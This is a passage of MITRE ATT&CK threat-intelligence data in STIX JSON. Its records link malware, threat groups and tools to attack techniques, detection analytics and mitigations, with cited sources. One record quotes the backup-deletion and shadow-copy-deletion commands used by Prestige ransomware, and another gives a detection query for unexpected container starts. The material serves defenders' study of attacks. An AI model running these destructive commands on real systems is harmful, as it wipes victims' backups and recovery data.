2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.493Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can enumerate files by using a variety of functions.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61a6e958-5a07-41d3-9b93-be619febcaad","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T18:45:04.472Z","description":"Monitor for the start of containers, especially those not aligned with expected images or known administrative schedules.\n\nAnalytic 1 - Unexpected container starts\n\nsourcetype=docker:daemon OR sourcetype=kubernetes:event\n| search action=\"start\"\n| where user NOT IN (\"known_admins\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61b0b64f-da02-4f36-949e-016b83fa747f","created":"2023-01-23T20:16:20.180Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-23T20:16:20.180Z","description":"[Prestige](https://attack.mitre.org/software/S1058) can delete the backup catalog from the target system using: `c:\\Windows\\System32\\wbadmin.exe delete catalog -quiet` and can also delete volume shadow copies using: `\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet`.(Citation: Microsoft Prestige ransomware October 2022)\n","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61b6152c-6606-474c-926a-a874a3084ac8","created":"2023-11-28T22:05:34.793Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-28T22:05:34.793Z","description":"Restrict the installation of software that may be abused to create hidden desktops, such as hVNC, to user groups that require it.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--61bf0521-9ebe-47d5-8a61-6aeb3b502aee","created":"2022-04-14T16:37:00.279Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline snapshots to identify malicious modifications or additions.","modified":"2022-04-14T16:37:00.279Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774","target_ref":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61bf5c24-e7ae-4178-916d-d236e928b897","type":"relationship","created":"2020-05-26T20:33:11.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T20:33:11.730Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to delete files and directories on compromised hosts.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61c71926-6802-44e8-9918-d2b3a8b19f94","created":"2024-02-06T18:56:19.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Southeast Asia Threat Landscape March 2015","description":"FireEye. (2015, March). SOUTHEAST ASIA: AN EVOLVING CYBER THREAT LANDSCAPE. Retrieved February 5, 2024.","url":"https://web.archive.org/web/20220122121143/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf"},{"source_name":"Mandiant Advanced Persistent Threats","description":"Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved February 14, 2024.","url":"https://www.mandiant.com/resources/insights/apt-groups"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T19:08:03.309Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used malware with keylogging capabilities to monitor the communications of targeted entities.(Citation: FireEye Southeast Asia Threat Landscape March 2015)(Citation: Mandiant Advanced Persistent Threats)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61c802ec-b415-4161-bf15-3a8c5cc0a243","created":"2020-11-10T16:49:12.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T17:16:09.239Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMI to identify anti-virus products installed on a victim's machine.(Citation: DFIR Ryuk's Return October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--61ca0970-5afc-41d3-93e3-2f5ec14c470e","created":"2021-12-06T23:14:44.945Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has used `cmd.exe` and batch files for execution.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T20:01:01.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61ce754c-da32-4f0d-9c5f-bdf4debf7377","created":"2023-09-27T14:44:57.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Charles McLellan March 2016","description":"Charles McLellan. (2016, March 4). How hackers attacked Ukraine's power grid: Implications for Industrial IoT security. Retrieved September 27, 2023.","url":"https://www.zdnet.com/article/how-hackers-attacked-ukraines-power-grid-implications-for-industrial-iot-security/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T15:21:36.440Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) remotely discovered systems over LAN connections. OT systems were visible from the IT network as well, giving adversaries the ability to discover operational assets. (Citation: Charles McLellan March 2016)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61ce8307-ddb8-4f29-ab77-6532c2b90266","type":"relationship","created":"2020-08-19T17:34:47.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-19T17:34:47.334Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has created a service when it is installed on the victim machine.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61cfb178-a097-4788-a084-48d0d7c602b5","created":"2023-03-17T14:09:07.593Z","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T14:09:07.593Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used malicious Trojans and DLL files to exfiltrate data from an infected host.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61cfe134-e24e-490e-a298-40612df42832","type":"relationship","created":"2020-06-09T21:23:39.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-26T04:03:50.768Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to replace the pam_unix.so file on an infected machine with its own malicious version that accepts a specific backdoor password for all users.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61d859c1-c6f4-4f5f-bc5f-032481dddbe4","type":"relationship","created":"2020-07-17T15:48:51.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.100Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can enumerate the shared folders and associated permissions for a targeted network.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61dd6d75-a95b-488d-9a1d-924563592df7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-18T20:34:00.351Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect user account information by running net user /domain or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61de6721-267c-4224-8000-b3329f3057cf","type":"relationship","created":"2021-03-17T15:54:31.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Debian nbtscan Nov 2019","url":"https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html","description":"Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."},{"source_name":"SecTools nbtscan June 2003","url":"https://sectools.org/tool/nbtscan/","description":"SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}],"modified":"2021-03-17T15:54:31.047Z","description":"[NBTscan](https://attack.mitre.org/software/S0590) can be used to scan IP networks.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)","relationship_type":"uses","source_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61e9d783-571b-49d4-a30b-8fde8a13d4c0","type":"relationship","created":"2020-11-06T18:40:37.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.476Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can timestomp any files or payloads placed on a target machine to help them blend in.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61ea0450-24ef-4077-b5f4-2946e4eaa9b9","type":"relationship","created":"2021-06-07T13:20:23.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-07T13:20:23.810Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61ecf569-fd27-4c61-b1a9-a516fba16fac","type":"relationship","created":"2021-10-17T15:10:00.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.617Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used keylogging tools in their operations.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61ee8aa7-89fc-4414-97f3-95fa9f1f26ad","type":"relationship","created":"2020-09-30T13:48:26.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:13:38.379Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can gain access by exploiting a Sangfor SSL VPN vulnerability that allows for the placement and delivery of malicious update binaries.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61f91f23-a8a5-4b4e-b546-f0fff28851a1","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.378Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about running processes on the victim.(Citation: FireEye FIN7 April 2017)","relationship_type":"uses","source_ref":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61fc1735-c822-497a-8d6e-ced7fd4e1a8a","created":"2024-08-14T22:33:05.682Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:33:05.682Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) created virtual private server instances to facilitate use of malicious domains and other items.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6203e555-d5f9-4b3c-978b-d10db7575dbc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.285Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can list contents of drives and search for files.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6204f142-a2a7-406f-9874-af8f3bb9dca9","type":"relationship","created":"2020-09-29T15:45:28.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-29T17:39:46.319Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can write files to a compromised host.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6207afcd-8cc6-4bee-aa2c-2218e30679b1","created":"2024-09-16T08:55:03.107Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:55:03.107Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can identify security software.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6209bf2d-6ffd-4740-96cb-ef04379ae126","type":"relationship","created":"2020-03-25T18:03:46.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2021-01-22T16:19:13.134Z","description":"[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for keychains.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--620d641c-8f76-45f3-a86f-03dd28399d5c","type":"relationship","created":"2019-06-13T16:02:06.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077","description":"UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 